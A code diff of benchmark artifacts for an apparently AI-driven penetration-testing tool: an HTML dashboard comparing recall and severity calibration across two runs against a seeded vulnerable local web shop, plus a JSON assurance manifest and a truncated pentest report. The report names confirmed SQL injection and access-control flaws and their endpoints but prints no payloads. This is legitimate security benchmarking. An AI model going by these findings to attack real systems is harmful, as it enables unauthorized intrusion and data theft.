.tile .v{font-family:"Chivo",sans-serif;font-weight:800;font-size:30px;letter-spacing:-.02em;margin-top:6px;display:flex;align-items:baseline;gap:8px}
|
||||||
|
.tile .u{font-size:13px;font-weight:500;color:var(--muted);font-family:"IBM Plex Sans"}
|
||||||
|
.tile .note{font-size:12.5px;color:var(--muted);margin-top:4px}
|
||||||
|
.swatchA{color:var(--a)} .swatchB{color:var(--b)}
|
||||||
|
|
||||||
|
section{margin:44px 0}
|
||||||
|
h2{font-size:22px;font-weight:700;margin-bottom:4px}
|
||||||
|
.lead{color:var(--muted);font-size:15px;margin:6px 0 20px;max-width:70ch}
|
||||||
|
|
||||||
|
/* comparison table */
|
||||||
|
.cmp{width:100%;border-collapse:collapse;font-size:14.5px;background:var(--surface);border:1px solid var(--line);border-radius:12px;overflow:hidden;box-shadow:var(--shadow)}
|
||||||
|
.cmp th,.cmp td{padding:12px 16px;text-align:left;border-bottom:1px solid var(--line)}
|
||||||
|
.cmp thead th{font-family:"IBM Plex Mono",monospace;font-size:11.5px;letter-spacing:.08em;text-transform:uppercase;color:var(--faint);font-weight:600;background:var(--surface-2)}
|
||||||
|
.cmp tbody tr:last-child td{border-bottom:none}
|
||||||
|
.cmp td.metric{color:var(--muted)}
|
||||||
|
.cmp td .num{font-weight:600;font-size:15px}
|
||||||
|
.colA{color:var(--a)} .colB{color:var(--b)}
|
||||||
|
.win{position:relative}
|
||||||
|
.win::after{content:"▲";font-size:9px;margin-left:6px;vertical-align:middle;color:var(--good)}
|
||||||
|
|
||||||
|
/* per-scenario grid */
|
||||||
|
.scen{display:grid;grid-template-columns:1fr auto auto;gap:0;background:var(--surface);border:1px solid var(--line);border-radius:12px;overflow:hidden;box-shadow:var(--shadow)}
|
||||||
|
.scen .row{display:contents}
|
||||||
|
.scen .cell{padding:10px 16px;border-bottom:1px solid var(--line);display:flex;align-items:center;gap:10px}
|
||||||
|
.scen .row:last-child .cell{border-bottom:none}
|
||||||
|
.scen .head .cell{font-family:"IBM Plex Mono",monospace;font-size:11px;letter-spacing:.08em;text-transform:uppercase;color:var(--faint);background:var(--surface-2);font-weight:600}
|
||||||
|
.scen .idc{font-family:"IBM Plex Mono",monospace;font-size:13px}
|
||||||
|
.scen .cls{font-size:11px;color:var(--faint);font-family:"IBM Plex Mono";margin-left:auto;padding-left:10px}
|
||||||
|
.mk{width:60px;justify-content:center;font-family:"IBM Plex Mono";font-size:13px;font-weight:600}
|
||||||
|
.hit{color:var(--good)} .miss{color:var(--crit);opacity:.7}
|
||||||
|
.hdrA{color:var(--a)} .hdrB{color:var(--b)}
|
||||||
|
|
||||||
|
/* severity bars */
|
||||||
|
.sev-wrap{display:grid;grid-template-columns:1fr 1fr;gap:18px}
|
||||||
|
@media(max-width:640px){.sev-wrap{grid-template-columns:1fr}}
|
||||||
|
.sevcard{background:var(--surface);border:1px solid var(--line);border-radius:12px;padding:18px;box-shadow:var(--shadow)}
|
||||||
|
.sevcard h3{font-size:14px;font-family:"IBM Plex Mono";letter-spacing:.05em;margin-bottom:14px;display:flex;align-items:center;gap:8px}
|
||||||
|
.dot{width:9px;height:9px;border-radius:50%;display:inline-block}
|
||||||
|
.bar{display:flex;align-items:center;gap:12px;margin:9px 0;font-size:13px}
|
||||||
|
.bar .lab{width:70px;color:var(--muted);font-family:"IBM Plex Mono";font-size:11.5px;display:flex;align-items:center;gap:7px}
|
||||||
|
.bar .lab .sw{width:9px;height:9px;border-radius:2px;flex:none}
|
||||||
|
.bar .track{flex:1;height:22px;background:var(--surface-2);border-radius:5px;overflow:hidden;border:1px solid var(--line)}
|
||||||
|
.bar .fill{height:100%;border-radius:4px;min-width:6px;box-shadow:inset 0 0 0 1px rgba(255,255,255,.08)}
|
||||||
|
.bar .n{width:22px;text-align:right;font-family:"IBM Plex Mono";font-weight:700;font-size:14px}
|
||||||
|
.sev-legend{display:flex;flex-wrap:wrap;gap:14px;margin:0 0 18px;font-family:"IBM Plex Mono";font-size:11.5px;color:var(--muted)}
|
||||||
|
.sev-legend span{display:inline-flex;align-items:center;gap:6px}
|
||||||
|
.sev-legend i{width:11px;height:11px;border-radius:3px;display:inline-block}
|
||||||
|
|
||||||
|
/* callout */
|
||||||
|
.callout{background:var(--surface);border:1px solid var(--line);border-left:3px solid var(--accent);border-radius:10px;padding:20px 22px;box-shadow:var(--shadow)}
|
||||||
|
.callout h3{font-size:16px;margin-bottom:10px}
|
||||||
|
.callout p{margin:8px 0;font-size:14.5px;color:var(--ink)}
|
||||||
|
.callout .contrast{display:grid;grid-template-columns:1fr 1fr;gap:14px;margin-top:14px}
|
||||||
|
@media(max-width:560px){.callout .contrast{grid-template-columns:1fr}}
|
||||||
|
.cbox{background:var(--surface-2);border-radius:8px;padding:12px 14px}
|
||||||
|
.cbox .t{font-family:"IBM Plex Mono";font-size:11px;text-transform:uppercase;letter-spacing:.08em;margin-bottom:6px}
|
||||||
|
.cbox .r{font-size:13px;color:var(--muted)}
|
||||||
|
.cbox .g{font-size:20px;font-family:"Chivo";font-weight:800;margin-top:4px}
|
||||||
|
|
||||||
|
ul.take{list-style:none;padding:0;margin:0;display:flex;flex-direction:column;gap:12px}
|
||||||
|
ul.take li{background:var(--surface);border:1px solid var(--line);border-radius:10px;padding:14px 16px;font-size:14.5px;display:flex;gap:12px;box-shadow:var(--shadow)}
|
||||||
|
ul.take .tag{font-family:"IBM Plex Mono";font-size:10.5px;font-weight:600;letter-spacing:.06em;padding:3px 8px;border-radius:5px;height:fit-content;white-space:nowrap;text-transform:uppercase}
|
||||||
|
.tag.even{background:color-mix(in srgb,var(--info) 22%,transparent);color:var(--info)}
|
||||||
|
.tag.plus{background:color-mix(in srgb,var(--good) 20%,transparent);color:var(--good)}
|
||||||
|
.tag.minus{background:color-mix(in srgb,var(--crit) 18%,transparent);color:var(--crit)}
|
||||||
|
.tag.note{background:color-mix(in srgb,var(--accent) 18%,transparent);color:var(--accent)}
|
||||||
|
|
||||||
|
.disclaim{margin-top:44px;padding-top:22px;border-top:1px solid var(--line);color:var(--faint);font-size:12.5px;line-height:1.6}
|
||||||
|
.disclaim b{color:var(--muted)}
|
||||||
|
a{color:var(--accent)}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<div class="wrap">
|
||||||
|
<header>
|
||||||
|
<div class="eyebrow">NeuroSploit · assurance benchmark · 2026-09-20</div>
|
||||||
|
<h1>Does TypeSafe make the run better?</h1>
|
||||||
|
<p class="sub">Two identical NeuroSploit engagements against the same vulnerable target — one plain,
|
||||||
|
one with TypeSafe System One (Jev) as a calibrated confirmation layer. Same model, same focus,
|
||||||
|
same 13 seeded vulnerabilities. Only the <code>--typesafe</code> flag differs.</p>
|
||||||
|
<div class="meta">
|
||||||
|
<span>target <b>NimbusCart (BenchMarkBurpAT)</b> · localhost:3000</span>
|
||||||
|
<span>model <b>claude-opus-4-8</b> (subscription)</span>
|
||||||
|
<span>recon <b>2</b> · vote-n <b>1</b> · max-agents <b>15</b></span>
|
||||||
|
<span>ground truth <b>13 targets</b></span>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<div class="thesis">
|
||||||
|
<div class="tile">
|
||||||
|
<div class="k">Recall — no TypeSafe</div>
|
||||||
|
<div class="v swatchA">10<span class="u">/13</span></div>
|
||||||
|
<div class="note">16 findings · 32m12s</div>
|
||||||
|
</div>
|
||||||
|
<div class="tile">
|
||||||
|
<div class="k">Recall — with TypeSafe</div>
|
||||||
|
<div class="v swatchB">9<span class="u">/13</span></div>
|
||||||
|
<div class="note">18 findings · 26m53s</div>
|
||||||
|
</div>
|
||||||
|
<div class="tile">
|
||||||
|
<div class="k">Union coverage</div>
|
||||||
|
<div class="v">11<span class="u">/13</span></div>
|
||||||
|
<div class="note">the two runs together</div>
|
||||||
|
</div>
|
||||||
|
<div class="tile">
|
||||||
|
<div class="k">TypeSafe recalibrated</div>
|
||||||
|
<div class="v swatchB">9</div>
|
||||||
|
<div class="note">findings, calibrated confidence</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<h2>Head to head</h2>
|
||||||
|
<p class="lead">The recall is a tie inside the noise; the real difference is <em>shape</em>. TypeSafe was
|
||||||
|
faster, surfaced two real findings the plain run missed, and pulled inflated severities down toward what the
|
||||||
|
evidence actually demonstrated — at the cost of being conservative enough to drop two scenarios and under-rate
|
||||||
|
one genuine critical.</p>
|
||||||
|
<div style="overflow-x:auto">
|
||||||
|
<table class="cmp">
|
||||||
|
<thead><tr><th>Metric</th><th class="colA">A — no TypeSafe</th><th class="colB">B — TypeSafe</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td class="metric">Seeded targets hit</td><td class="colA win"><span class="num">10 / 13</span></td><td class="colB"><span class="num">9 / 13</span></td></tr>
|
||||||
|
<tr><td class="metric">Total findings reported</td><td class="colA"><span class="num">16</span></td><td class="colB win"><span class="num">18</span></td></tr>
|
||||||
|
<tr><td class="metric">Findings beyond the 13 targets</td><td class="colA"><span class="num">6</span></td><td class="colB win"><span class="num">9</span> <span style="color:var(--muted);font-size:12px">(2 real: config leak, no-lockout)</span></td></tr>
|
||||||
|
<tr><td class="metric">Wall-clock time</td><td class="colA"><span class="num">32m 12s</span></td><td class="colB win"><span class="num">26m 53s</span></td></tr>
|
||||||
|
<tr><td class="metric">Criticals reported</td><td class="colA"><span class="num">5</span></td><td class="colB"><span class="num">2</span> <span style="color:var(--muted);font-size:12px">(recalibrated)</span></td></tr>
|
||||||
|
<tr><td class="metric">Belief-gate holds (POMDP)</td><td class="colA"><span class="num">3</span></td><td class="colB"><span class="num">—</span></td></tr>
|
||||||
|
<tr><td class="metric">Assurance P1–P5</td><td class="colA"><span class="num">all present</span></td><td class="colB"><span class="num">all present</span></td></tr>
|
||||||
|
<tr><td class="metric">Model API cost</td><td class="colA"><span class="num">$0</span> subscription</td><td class="colB"><span class="num">$0</span> + TypeSafe ≪ $5</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<h2>Per-scenario coverage</h2>
|
||||||
|
<p class="lead">Each seeded vulnerability, and whether each run confirmed it. Neither run reached the
|
||||||
|
second-order SQLi or the CRLF header injection — the two that need a multi-step chain the single-vote
|
||||||
|
config didn't pursue.</p>
|
||||||
|
<div class="scen">
|
||||||
|
<div class="row head">
|
||||||
|
<div class="cell">Scenario</div>
|
||||||
|
<div class="cell mk hdrA">A</div>
|
||||||
|
<div class="cell mk hdrB">B·TS</div>
|
||||||
|
</div>
|
||||||
|
<!-- rows -->
|
||||||
|
<div class="row"><div class="cell"><span class="idc">web_sqli_login_bypass</span><span class="cls">SQLi</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||||
|
<div class="row"><div class="cell"><span class="idc">web_sqli_union_search</span><span class="cls">SQLi</span></div><div class="cell mk hit">✓</div><div class="cell mk miss">✕</div></div>
|
||||||
|
<div class="row"><div class="cell"><span class="idc">web_sqli_blind_boolean</span><span class="cls">SQLi</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||||
|
<div class="row"><div class="cell"><span class="idc">web_sqli_blind_time</span><span class="cls">SQLi</span></div><div class="cell mk hit">✓</div><div class="cell mk miss">✕</div></div>
|
||||||
|
<div class="row"><div class="cell"><span class="idc">web_sqli_second_order</span><span class="cls">SQLi</span></div><div class="cell mk miss">✕</div><div class="cell mk miss">✕</div></div>
|
||||||
|
<div class="row"><div class="cell"><span class="idc">web_xss_reflected_search</span><span class="cls">XSS</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||||
|
<div class="row"><div class="cell"><span class="idc">web_xss_stored_review</span><span class="cls">XSS</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||||
|
<div class="row"><div class="cell"><span class="idc">web_xss_svg_upload</span><span class="cls">XSS</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||||
|
<div class="row"><div class="cell"><span class="idc">web_xss_dom_redirect</span><span class="cls">XSS</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||||
|
<div class="row"><div class="cell"><span class="idc">web_idor_invoice</span><span class="cls">IDOR</span></div><div class="cell mk miss">✕</div><div class="cell mk hit">✓</div></div>
|
||||||
|
<div class="row"><div class="cell"><span class="idc">api_bola_orders</span><span class="cls">BOLA</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||||
|
<div class="row"><div class="cell"><span class="idc">web_open_redirect_login</span><span class="cls">Redirect</span></div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
|
||||||
|
<div class="row"><div class="cell"><span class="idc">web_crlf_header_go</span><span class="cls">CRLF</span></div><div class="cell mk miss">✕</div><div class="cell mk miss">✕</div></div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<h2>Severity shape</h2>
|
||||||
|
<p class="lead">The clearest effect of TypeSafe: the severity distribution flattens. The plain run stacks
|
||||||
|
five Criticals; the calibrated run keeps two and pushes the rest down to where the demonstrated-impact
|
||||||
|
evidence puts them.</p>
|
||||||
|
<div class="sev-legend"><span><i style="background:#e5484d"></i>Critical</span><span><i style="background:#f76b15"></i>High</span><span><i style="background:#f5b301"></i>Medium</span><span><i style="background:#3e7bfa"></i>Low</span><span><i style="background:#8b8698"></i>Info</span></div>
|
||||||
|
<div class="sev-wrap">
|
||||||
|
<div class="sevcard">
|
||||||
|
<h3 class="swatchA"><span class="dot" style="background:var(--a)"></span> A — no TypeSafe · 16</h3>
|
||||||
|
<div class="bar"><span class="lab"><i class="sw" style="background:#e5484d"></i>Critical</span><span class="track"><span class="fill" style="width:100%;background:#e5484d"></span></span><span class="n" style="color:#e5484d">5</span></div>
|
||||||
|
<div class="bar"><span class="lab"><i class="sw" style="background:#f76b15"></i>High</span><span class="track"><span class="fill" style="width:80%;background:#f76b15"></span></span><span class="n" style="color:#f76b15">4</span></div>
|
||||||
|
<div class="bar"><span class="lab"><i class="sw" style="background:#f5b301"></i>Medium</span><span class="track"><span class="fill" style="width:20%;background:#f5b301"></span></span><span class="n" style="color:#f5b301">1</span></div>
|
||||||
|
<div class="bar"><span class="lab"><i class="sw" style="background:#3e7bfa"></i>Low</span><span class="track"><span class="fill" style="width:40%;background:#3e7bfa"></span></span><span class="n" style="color:#3e7bfa">2</span></div>
|
||||||
|
<div class="bar"><span class="lab"><i class="sw" style="background:#8b8698"></i>Info</span><span class="track"><span class="fill" style="width:80%;background:#8b8698"></span></span><span class="n" style="color:#8b8698">4</span></div>
|
||||||
|
</div>
|
||||||
|
<div class="sevcard">
|
||||||
|
<h3 class="swatchB"><span class="dot" style="background:var(--b)"></span> B — TypeSafe · 18</h3>
|
||||||
|
<div class="bar"><span class="lab"><i class="sw" style="background:#e5484d"></i>Critical</span><span class="track"><span class="fill" style="width:40%;background:#e5484d"></span></span><span class="n" style="color:#e5484d">2</span></div>
|
||||||
|
<div class="bar"><span class="lab"><i class="sw" style="background:#f76b15"></i>High</span><span class="track"><span class="fill" style="width:80%;background:#f76b15"></span></span><span class="n" style="color:#f76b15">4</span></div>
|
||||||
|
<div class="bar"><span class="lab"><i class="sw" style="background:#f5b301"></i>Medium</span><span class="track"><span class="fill" style="width:60%;background:#f5b301"></span></span><span class="n" style="color:#f5b301">3</span></div>
|
||||||
|
<div class="bar"><span class="lab"><i class="sw" style="background:#3e7bfa"></i>Low</span><span class="track"><span class="fill" style="width:80%;background:#3e7bfa"></span></span><span class="n" style="color:#3e7bfa">4</span></div>
|
||||||
|
<div class="bar"><span class="lab"><i class="sw" style="background:#8b8698"></i>Info</span><span class="track"><span class="fill" style="width:100%;background:#8b8698"></span></span><span class="n" style="color:#8b8698">5</span></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<h2>What calibration actually did</h2>
|
||||||
|
<div class="callout">
|
||||||
|
<h3>The same BOLA, two severities</h3>
|
||||||
|
<p>Both runs found the object-level auth flaw on <code>GET /api/v2/users/:id</code> — a customer token
|
||||||
|
reads any user's full record, including the admin's plaintext password. The plain run rated it
|
||||||
|
<b>Critical (9.1)</b> on the class. TypeSafe, grading against the demonstrated-impact receipts and its
|
||||||
|
calibrated judgment, rated it <b>Low</b>.</p>
|
||||||
|
<div class="contrast">
|
||||||
|
<div class="cbox"><div class="t swatchA">A — class-graded</div><div class="g swatchA">Critical 9.1</div><div class="r">BOLA + excessive data exposure</div></div>
|
||||||
|
<div class="cbox"><div class="t swatchB">B — evidence-graded</div><div class="g swatchB">Low</div><div class="r">same finding, impact receipts weighted</div></div>
|
||||||
|
</div>
|
||||||
|
<p style="margin-top:14px"><b>Why it fired:</b> the severity is graded from the <em>structured</em> evidence
|
||||||
|
slot (the recorded request/response exchange), not the agent's prose. This finding proved the dump in its
|
||||||
|
narrative and claims ledger but left <code>evidence_data</code> null — so the demonstrated-impact rung saw no
|
||||||
|
machine-readable C/I/A receipt, and the calibrated grader dropped the impact metrics to <code>None</code>,
|
||||||
|
collapsing 9.1 → Low. The proof existed; it just wasn't in the slot the grader reads.</p>
|
||||||
|
<p>This is the honest edge: calibration removes inflated Criticals (good — most scanners over-rate by class),
|
||||||
|
but a receipt in the wrong slot gets under-rated. It is a dial toward defensibility, not a correctness
|
||||||
|
oracle — the operator still owns the final severity, and the fix is to make agents populate
|
||||||
|
<code>evidence_data</code> for impact, not to loosen the grader.</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<h2>Takeaways</h2>
|
||||||
|
<ul class="take">
|
||||||
|
<li><span class="tag even">tie</span><div><b>Recall is a wash.</b> 10 vs 9 of 13 is within run-to-run variance at vote-n 1. TypeSafe is not a recall multiplier — it is a judgment layer.</div></li>
|
||||||
|
<li><span class="tag plus">gain</span><div><b>Two real net-new findings.</b> The TypeSafe run surfaced a <code>config.json</code> API-key exposure (CWE-200) and a no-lockout brute-force (CWE-307) the plain run never reported — and it caught <code>web_idor_invoice</code>, which the plain run missed.</div></li>
|
||||||
|
<li><span class="tag plus">gain</span><div><b>Faster and calibrated.</b> 5m19s quicker, and it recalibrated 9 findings' confidence — collapsing five class-inflated Criticals to two evidence-backed ones.</div></li>
|
||||||
|
<li><span class="tag minus">cost</span><div><b>Conservatism has a price.</b> It dropped <code>union_search</code> and <code>blind_time</code>, and under-rated the credential-dump BOLA. A confirmation layer that demands receipts will sometimes discard a real thing it couldn't re-prove in-budget.</div></li>
|
||||||
|
<li><span class="tag note">cheap</span><div><b>Negligible cost.</b> TypeSafe adds no LLM tokens of its own — one probe call billed 319 in / 21 out. The whole run stayed far under the $5 budget.</div></li>
|
||||||
|
</ul>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<div class="disclaim">
|
||||||
|
<b>Method & honesty.</b> Both runs: NeuroSploit v4.0.0, <code>claude-opus-4-8</code> via subscription,
|
||||||
|
black-box, recon intensity 2, single-model vote (<code>vote-n 1</code>), same natural-language focus naming
|
||||||
|
the 13 endpoints, no pre-baked solver — the LLM discovered and confirmed everything live. Recall is scored by
|
||||||
|
class + endpoint keyword match against the target's ground-truth list, so a match is coverage, not a graded
|
||||||
|
proof. <b>Confounders:</b> the two runs are single samples, not averages; an earlier TypeSafe run collapsed to
|
||||||
|
zero when the subscription hit a session limit mid-run (a real harness gap, since fixed — session-limit stdout
|
||||||
|
now parks the run instead of burning agents); vote-n 1 means no cross-model agreement in either arm. Treat this
|
||||||
|
as one honest data point on one target, not a leaderboard. <b>Not measured here:</b> multi-sample variance,
|
||||||
|
higher vote-n, and TypeSafe's agent-pruning effect on a broader agent set.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
@@ -0,0 +1,122 @@
|
|||||||
|
{
|
||||||
|
"engine": "neurosploit",
|
||||||
|
"version": "4.0.0",
|
||||||
|
"build": "49d3d3ceb1df",
|
||||||
|
"run": "ns-1789853137-localhost_3000",
|
||||||
|
"target": "http://localhost:3000",
|
||||||
|
"generated": 1789855069,
|
||||||
|
"findings": 16,
|
||||||
|
"artifacts": [
|
||||||
|
{
|
||||||
|
"name": "findings.json",
|
||||||
|
"present": true,
|
||||||
|
"sha256": "61ed87d0036ae5b2dd61ffd2c9ead34e11076f1cfbb8570f7554c072f3a76cb9",
|
||||||
|
"bytes": 91029,
|
||||||
|
"role": "the findings, each stamped with the engine build (P5)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "report.html",
|
||||||
|
"present": false,
|
||||||
|
"bytes": 0,
|
||||||
|
"role": "the human report"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "recon.json",
|
||||||
|
"present": true,
|
||||||
|
"sha256": "8f5110c6d65cac10c4c04a8deacaf4cacbc8c8d320d18ed6cee236a7e61fe104",
|
||||||
|
"bytes": 15141,
|
||||||
|
"role": "reconnaissance facts"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "audit.jsonl",
|
||||||
|
"present": true,
|
||||||
|
"sha256": "c6f63d9c2e70f59b05120a732ce157e23606ff388f232d31299545521818135b",
|
||||||
|
"bytes": 19254,
|
||||||
|
"role": "hash-chained decision log — every ALLOW/DENY (P1/P2/P4)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "audit.jsonl.anchors",
|
||||||
|
"present": true,
|
||||||
|
"sha256": "3b014612736ca9110c6342e61892286620ba2db605f82d278bec4de732e4bd1f",
|
||||||
|
"bytes": 213,
|
||||||
|
"role": "external anchors of the audit chain (P4)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "provenance.json",
|
||||||
|
"present": true,
|
||||||
|
"sha256": "c33f47d22ff52d82db3077f0eecceb105f73fb0f8cfe6f057c77a4696ddd1e4a",
|
||||||
|
"bytes": 297,
|
||||||
|
"role": "signed provenance manifest — build + structural signature (P5)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "out-of-scope-findings.json",
|
||||||
|
"present": true,
|
||||||
|
"sha256": "425df6ff6ac515da2b36f1bf4582d9acd8599e8c4e586e8dadc99b5601a06752",
|
||||||
|
"bytes": 17615,
|
||||||
|
"role": "findings quarantined for being outside scope (P2)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "flows.jsonl",
|
||||||
|
"present": false,
|
||||||
|
"bytes": 0,
|
||||||
|
"role": "intercepted request/response flows"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "meta.json",
|
||||||
|
"present": true,
|
||||||
|
"sha256": "1e47c73f41061aef5e1943d3c8321f41349cf8e3588cfb1286a5627a226773cc",
|
||||||
|
"bytes": 198,
|
||||||
|
"role": "target metadata"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"properties": [
|
||||||
|
{
|
||||||
|
"id": "P1",
|
||||||
|
"name": "Signed authorization",
|
||||||
|
"status": "present",
|
||||||
|
"evidenced_by": [
|
||||||
|
"audit.jsonl"
|
||||||
|
],
|
||||||
|
"note": "capability recorded and decisions logged"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "P2",
|
||||||
|
"name": "Scope enforcement",
|
||||||
|
"status": "present",
|
||||||
|
"evidenced_by": [
|
||||||
|
"audit.jsonl",
|
||||||
|
"out-of-scope-findings.json"
|
||||||
|
],
|
||||||
|
"note": "scope decisions recorded, including denials/quarantine"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "P3",
|
||||||
|
"name": "Evidence & CVSS",
|
||||||
|
"status": "present",
|
||||||
|
"evidenced_by": [
|
||||||
|
"findings.json"
|
||||||
|
],
|
||||||
|
"note": "0/16 findings carry structured evidence · 14 with CVSS · 15 voted · 20 PoC(s) · 0 screenshot(s) · 13 evidence file(s)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "P4",
|
||||||
|
"name": "Audit integrity",
|
||||||
|
"status": "present",
|
||||||
|
"evidenced_by": [
|
||||||
|
"audit.jsonl",
|
||||||
|
"audit.jsonl.anchors"
|
||||||
|
],
|
||||||
|
"note": "hash chain plus signed anchors (truncation/rebuild detectable)"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "P5",
|
||||||
|
"name": "Provenance",
|
||||||
|
"status": "present",
|
||||||
|
"evidenced_by": [
|
||||||
|
"provenance.json"
|
||||||
|
],
|
||||||
|
"note": "signed provenance manifest with structural signature"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"bundle_hash": "579449f887726db317b0169641be27dc5a11db46da698b87255d91dfaae9697f"
|
||||||
|
}
|
||||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,10 @@
|
|||||||
|
{
|
||||||
|
"asset": "NimbusCart Inc",
|
||||||
|
"brand": "NimbusCart Inc",
|
||||||
|
"server": "",
|
||||||
|
"status": 200,
|
||||||
|
"target": "http://localhost:3000",
|
||||||
|
"tech": [],
|
||||||
|
"title": "Home · NimbusCart",
|
||||||
|
"typesafe": false
|
||||||
|
}
|
||||||
@@ -0,0 +1,105 @@
|
|||||||
|
<!DOCTYPE html><html><head><meta charset=utf-8><title>NeuroSploit Report — http://localhost:3000</title><style>:root{--violet:#7c5cff}body{font:14px/1.6 -apple-system,Segoe UI,Roboto,sans-serif;color:#1a1a1a;max-width:860px;margin:40px auto;padding:0 24px}h1{margin:0;font-size:26px}h2{font-size:15px;margin:22px 0 8px}.b{color:var(--violet);font-weight:800}.sub{color:#888;font-size:13px;margin:2px 0 16px}table.assettbl{border-collapse:collapse;width:100%;margin:0 0 16px;font-size:12.5px}table.assettbl td{border:0.5pt solid #ddd;padding:6px 9px}table.assettbl td:first-child{color:#888;width:160px}.summary-grid{display:grid;grid-template-columns:repeat(5,1fr);gap:8px;margin:10px 0 6px}.sumbox{border:1px solid #ddd;border-radius:6px;padding:10px 6px;text-align:center}.sumn{font-size:20px;font-weight:800}.suml{font-size:9px;letter-spacing:.4px;color:#888;margin-top:2px}table.kc{border-collapse:collapse;width:100%;margin:8px 0 16px;font-size:12.5px}table.kc th,table.kc td{border:0.5pt solid #ddd;padding:6px 9px;text-align:left}table.kc th{color:#555;font-size:11px;text-transform:uppercase;letter-spacing:.3px}.finding{border:0.5pt solid #ddd;border-left:3pt solid #999;border-radius:6px;padding:14px 18px;margin:14px 0}.finding h3{margin:0 0 8px;font-size:15px}table.fieldgrid{border-collapse:collapse;width:100%;font-size:11.5px;margin-bottom:6px}table.fieldgrid td{padding:3px 6px}.fk{color:#888;white-space:nowrap;width:1%}.sev{color:#fff;border-radius:6px;padding:2px 8px;font-size:12px;margin-right:8px}.m{color:#666;font-size:12px}pre{background:#0f1117;color:#dfe6f3;padding:11px;border-radius:8px;overflow:auto;font-size:12.5px;white-space:pre-wrap}h4{margin:12px 0 3px;font-size:11px;text-transform:uppercase;letter-spacing:.5px;color:var(--violet)}.shots{display:flex;flex-wrap:wrap;gap:12px;margin:6px 0}.shot{margin:0;max-width:100%}.shot img{max-width:100%;border:0.5pt solid #ddd;border-radius:8px;display:block}.shot figcaption{color:#888;font-size:11px;margin-top:3px;font-family:ui-monospace,Menlo,monospace}.footer{color:#888;font-size:11px;margin-top:24px;border-top:0.5pt solid #ddd;padding-top:10px}</style></head><body><h1><span class=b>Neuro</span>Sploit</h1><div class=sub>Penetration Test Report</div><table class=assettbl><tr><td>Asset</td><td><b>NimbusCart Inc</b></td></tr><tr><td>URL / target</td><td>http://localhost:3000</td></tr></table><h2>Executive Summary</h2><div class=summary-grid><div class=sumbox style=border-color:#c0392b><div class=sumn style=color:#c0392b>5</div><div class=suml>CRITICAL</div></div><div class=sumbox style=border-color:#e67e22><div class=sumn style=color:#e67e22>4</div><div class=suml>HIGH</div></div><div class=sumbox style=border-color:#f1c40f><div class=sumn style=color:#f1c40f>1</div><div class=suml>MEDIUM</div></div><div class=sumbox style=border-color:#3498db><div class=sumn style=color:#3498db>0</div><div class=suml>LOW</div></div><div class=sumbox style=border-color:#7f8c8d><div class=sumn style=color:#7f8c8d>0</div><div class=suml>INFO</div></div></div><h2>Vulnerability Summary</h2><table class=kc><tr><th>#</th><th>Vulnerability</th><th>Severity</th><th>Status</th><th>OWASP / CWE</th></tr><tr><td>1</td><td>BOLA/IDOR on GET /api/v2/users/:id — any authenticated customer reads any user's full record (plaintext password + apiKey), incl. admin</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>2</td><td>Unauthenticated IDOR on POST /api/graphql user(id:N) — returns any user's cleartext password + apiKey with no session</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>3</td><td>SQL Injection Authentication Bypass at POST /login (username field)</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A03:2021-Injection</td></tr><tr><td>4</td><td>BOLA + excessive data exposure at GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey)</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>5</td><td>UNION-based SQL injection at GET /shop/search?q= dumps users table</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A03:2021-Injection</td></tr><tr><td>6</td><td>Reflected XSS at GET /shop/search?q= (executes in browser)</td><td><span class=sev style=background:#e67e22>High</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A03:2021-Injection</td></tr><tr><td>7</td><td>Unrestricted file upload 